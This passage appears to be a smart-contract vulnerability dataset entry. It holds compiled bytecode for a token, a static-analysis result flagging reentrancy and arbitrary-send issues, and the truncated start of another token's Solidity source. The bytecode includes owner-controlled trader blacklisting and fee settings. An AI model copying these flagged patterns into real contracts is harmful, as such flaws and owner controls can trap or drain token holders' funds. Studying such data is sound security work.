008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90613d61565b60405180910390fd5b60008210158015610c47575060018211155b610c5057600080fd5b60008110158015610c62575060018111155b610c6b57600080fd5b81600d8190555080600f819055505050565b610c85611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990613d61565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d9b611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90613d61565b60405180910390fd5b60008110158015610e3a575060018111155b610e4357600080fd5b8060138190555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8e611b67565b73ffffffffffffffffffffffffffffffffffffffff1614610eae57600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601e5481565b610f7a611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90613d61565b60405180910390fd5b80601a60166101000a81548160ff02191690831515021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611065611b67565b73ffffffffffffffffffffffffffffffffffffffff161461108557600080fd5b600047905061109381612b64565b50565b60006110e0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bd0565b9050919050565b6110ef611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390613d61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611242611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613d61565b60405180910390fd5b674563918244f4000081101561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613d21565b60405180910390fd5b80601b8190555050565b600a5481565b601b5481565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611371611b67565b73ffffffffffffffffffffffffffffffffffffffff161461139157600080fd5b61139a30611096565b81111580156113a95750600081115b6113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90613e21565b60405180910390fd5b6113f181612c3e565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611425611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990613d61565b60405180910390fd5b80601a60146101000a81548160ff02191690831515021790555042600a8190555050565b601c5481565b60606040518060400160405280600481526020017f5341504500000000000000000000000000000000000000000000000000000000815250905090565b611521611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613d61565b60405180910390fd5b600082101580156115c0575060018211155b6115c957600080fd5b600081101580156115db575060138111155b6115e457600080fd5b81600b8190555080600c819055505050565b6115fe611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290613d61565b60405180910390fd5b80601a60176101000a81548160ff02191690831515021790555050565b60006116bc6116b5611b67565b8484611d3a565b6001905092915050565b6116ce611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290613d61565b60405180910390fd5b6000821015801561176d5750600d8211155b61177657600080fd5b600081101580156117885750600d8111155b61179157600080fd5b81600e81905550806010819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611832611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b690613d61565b60405180910390fd5b600081101580156118d1575060048111155b6118da57600080fd5b610e10816118e89190613fad565b60188190555050565b6118f9611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197d90613d61565b60405180910390fd5b601c5481101561199557600080fd5b80601c8190555050565b6119a7611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b90613d61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b90613ca1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60185481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd690613e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690613cc1565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d2d9190613e41565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da190613da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1190613c21565b60405180910390fd5b60008111611e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5490613d81565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee190613de1565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6e90613de1565b60405180910390fd5b60096000611f83611b67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561200b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200290613de1565b60405180910390fd5b6120136113f4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561208157506120516113f4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561269f57601a60149054906101000a900460ff166120d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cc90613c41565b60405180910390fd5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156121805750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156122ed573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121ed57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122475750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122a15750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156122ec57601b548111156122eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e290613c81565b60405180910390fd5b5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156123995750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123d157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561240b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124da57601c548161241d84611096565b6124279190613f26565b10612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e90613dc1565b60405180910390fd5b601a60179054906101000a900460ff16156124d9576104b0600a5461248c9190613f26565b42116124d857601e548111156124d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ce90613ce1565b60405180910390fd5b5b5b5b60006124e530611096565b90506000601d548211905080801561250a5750601a60159054906101000a900460ff16155b80156125645750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561257c5750601a60169054906101000a900460ff165b80156125d25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156126285750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561269c57600080601354111561266d57612661606461265360135486612ec690919063ffffffff16565b612f4190919063ffffffff16565b905061266c81612f8b565b5b612681818461267c9190614007565b612c3e565b600047905060008111156126995761269847612b64565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127465750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806127f95750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156127f85750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156128075760009050612aee565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156128b25750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156129715742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54601181905550600e54601281905550600a54421415612970576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612a1c5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612aed576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015612abd575042601854600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aba9190613f26565b10155b15612ad957600b54601181905550600c54601281905550612aec565b600f546011819055506010546012819055505b5b5b612afa84848484612f9b565b50505050565b6000838311158290612b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3f9190613bff565b60405180910390fd5b5060008385612b579190614007565b9050809150509392505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612bcc573d6000803e3d6000fd5b5050565b6000600754821115612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e90613c61565b60405180910390fd5b6000612c21612fc8565b9050612c368184612f4190919063ffffffff16565b915050919050565b6001601a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612c7657612c75614198565b5b604051908082528060200260200182016040528015612ca45781602001602082028036833780820191505090505b5090503081600081518110612cbc57612cbb614169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d5e57600080fd5b505afa158015612d72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d9691906136a9565b81600181518110612daa57612da9614169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612e1130601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b6f565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612e75959493929190613e5c565b600060405180830381600087803b158015612e8f57600080fd5b505af1158015612ea3573d6000803e3d6000fd5b50505050506000601a60156101000a81548160ff02191690831515021790555050565b600080831415612ed95760009050612f3b565b60008284612ee79190613fad565b9050828482612ef69190613f7c565b14612f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2d90613d41565b60405180910390fd5b809150505b92915050565b6000612f8383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ff3565b905092915050565b612f983061dead83611d3a565b50565b80612fa957612fa8613056565b5b612fb48484846130b8565b80612fc257612fc1613283565b5b50505050565b6000806000612fd56132a0565b91509150612fec8183612f4190919063ffffffff16565b9250505090565b6000808311829061303a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130319190613bff565b60405180910390fd5b50600083856130499190613f7c565b9050809150509392505050565b600060115414801561306a57506000601254145b801561307857506000601354145b15613082576130b6565b6011546014819055506012546015819055506013546016819055506000601181905550600060128190555060006013819055505b565b6000806000806000806130ca87613302565b95509550955095509550955061312886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461336a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133b490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320981613412565b61321384836134cf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516132709190613e41565b60405180910390a3505050505050505050565b601454601181905550601554601281905550601654601381905550565b600080600060075490506000683635c9adc5dea0000090506132d6683635c9adc5dea00000600754612f4190919063ffffffff16565b8210156132f557600754683635c9adc5dea000009350935050506132fe565b81819350935050505b9091565b600080600080600080600080600061331f8a601154601254613509565b925092509250600061332f612fc8565b905060008060006133428e87878761359f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006133ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b00565b905092915050565b60008082846133c39190613f26565b905083811015613408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ff90613d01565b60405180910390fd5b8091505092915050565b600061341c612fc8565b905060006134338284612ec690919063ffffffff16565b905061348781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133b490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6134e48260075461336a90919063ffffffff16565b6007819055506134ff816008546133b490919063ffffffff16565b6008819055505050565b6000806000806135356064613527888a612ec690919063ffffffff16565b612f4190919063ffffffff16565b9050600061355f6064613551888b612ec690919063ffffffff16565b612f4190919063ffffffff16565b905060006135888261357a858c61336a90919063ffffffff16565b61336a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806135b88589612ec690919063ffffffff16565b905060006135cf8689612ec690919063ffffffff16565b905060006135e68789612ec690919063ffffffff16565b9050600061360f82613601858761336a90919063ffffffff16565b61336a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061363781614612565b92915050565b60008151905061364c81614612565b92915050565b60008135905061366181614629565b92915050565b60008135905061367681614640565b92915050565b600060208284031215613692576136916141c7565b5b60006136a084828501613628565b91505092915050565b6000602082840312156136bf576136be6141c7565b5b60006136cd8482850161363d565b91505092915050565b600080604083850312156136ed576136ec6141c7565b5b60006136fb85828601613628565b925050602061370c85828601613628565b9150509250929050565b60008060006060848603121561372f5761372e6141c7565b5b600061373d86828701613628565b935050602061374e86828701613628565b925050604061375f86828701613667565b9150509250925092565b600080604083850312156137805761377f6141c7565b5b600061378e85828601613628565b925050602061379f85828601613667565b9150509250929050565b6000602082840312156137bf576137be6141c7565b5b60006137cd84828501613652565b91505092915050565b6000602082840312156137ec576137eb6141c7565b5b60006137fa84828501613667565b91505092915050565b6000806040838503121561381a576138196141c7565b5b600061382885828601613667565b925050602061383985828601613667565b9150509250929050565b600061384f838361385b565b60208301905092915050565b6138648161403b565b82525050565b6138738161403b565b82525050565b600061388482613ee1565b61388e8185613f04565b935061389983613ed1565b8060005b838110156138ca5781516138b18882613843565b97506138bc83613ef7565b92505060018101905061389d565b5085935050505092915050565b6138e08161404d565b82525050565b6138ef81614090565b82525050565b6138fe816140a2565b82525050565b600061390f82613eec565b6139198185613f15565b93506139298185602086016140d8565b613932816141cc565b840191505092915050565b600061394a602383613f15565b9150613955826141dd565b604082019050919050565b600061396d601883613f15565b91506139788261422c565b602082019050919050565b6000613990602a83613f15565b915061399b82614255565b604082019050919050565b60006139b3601c83613f15565b91506139be826142a4565b602082019050919050565b60006139d6602683613f15565b91506139e1826142cd565b604082019050919050565b60006139f9602283613f15565b9150613a048261431c565b604082019050919050565b6000613a1c600f83613f15565b9150613a278261436b565b602082019050919050565b6000613a3f601b83613f15565b9150613a4a82614394565b602082019050919050565b6000613a62603483613f15565b9150613a6d826143bd565b604082019050919050565b6000613a85602183613f15565b9150613a908261440c565b604082019050919050565b6000613aa8602083613f15565b9150613ab38261445b565b602082019050919050565b6000613acb602983613f15565b9150613ad682614484565b604082019050919050565b6000613aee602583613f15565b9150613af9826144d3565b604082019050919050565b6000613b11602383613f15565b9150613b1c82614522565b604082019050919050565b6000613b34600d83613f15565b9150613b3f82614571565b602082019050919050565b6000613b57602483613f15565b9150613b628261459a565b604082019050919050565b6000613b7a600c83613f15565b9150613b85826145e9565b602082019050919050565b613b9981614079565b82525050565b613ba881614083565b82525050565b6000602082019050613bc3600083018461386a565b92915050565b6000602082019050613bde60008301846138d7565b92915050565b6000602082019050613bf960008301846138e6565b92915050565b60006020820190508181036000830152613c198184613904565b905092915050565b60006020820190508181036000830152613c3a8161393d565b9050919050565b60006020820190508181036000830152613c5a81613960565b9050919050565b60006020820190508181036000830152613c7a81613983565b9050919050565b60006020820190508181036000830152613c9a816139a6565b9050919050565b60006020820190508181036000830152613cba816139c9565b9050919050565b60006020820190508181036000830152613cda816139ec565b9050919050565b60006020820190508181036000830152613cfa81613a0f565b9050919050565b60006020820190508181036000830152613d1a81613a32565b9050919050565b60006020820190508181036000830152613d3a81613a55565b9050919050565b60006020820190508181036000830152613d5a81613a78565b9050919050565b60006020820190508181036000830152613d7a81613a9b565b9050919050565b60006020820190508181036000830152613d9a81613abe565b9050919050565b60006020820190508181036000830152613dba81613ae1565b9050919050565b60006020820190508181036000830152613dda81613b04565b9050919050565b60006020820190508181036000830152613dfa81613b27565b9050919050565b60006020820190508181036000830152613e1a81613b4a565b9050919050565b60006020820190508181036000830152613e3a81613b6d565b9050919050565b6000602082019050613e566000830184613b90565b92915050565b600060a082019050613e716000830188613b90565b613e7e60208301876138f5565b8181036040830152613e908186613879565b9050613e9f606083018561386a565b613eac6080830184613b90565b9695505050505050565b6000602082019050613ecb6000830184613b9f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613f3182614079565b9150613f3c83614079565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613f7157613f7061410b565b5b828201905092915050565b6000613f8782614079565b9150613f9283614079565b925082613fa257613fa161413a565b5b828204905092915050565b6000613fb882614079565b9150613fc383614079565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ffc57613ffb61410b565b5b828202905092915050565b600061401282614079565b915061401d83614079565b9250828210156140305761402f61410b565b5b828203905092915050565b600061404682614059565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061409b826140b4565b9050919050565b60006140ad82614079565b9050919050565b60006140bf826140c6565b9050919050565b60006140d182614059565b9050919050565b60005b838110156140f65780820151818401526020810190506140db565b83811115614105576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e7420746f6f206d7563680000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060008201527f62652067726561746572207468616e20302e3525000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b61461b8161403b565b811461462657600080fd5b50565b6146328161404d565b811461463d57600080fd5b50565b61464981614079565b811461465457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220995ec47c0ead734a16386317e11eda7d02dcb19c9efc966cc1fb5b5d24834d8564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,245 |
0xf87ab43ccf3e2e63ed39ad6dcfceed08db60d208
|
// SPDX-License-Identifier: Unlicensed
//https://t.me/nifflerinu
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
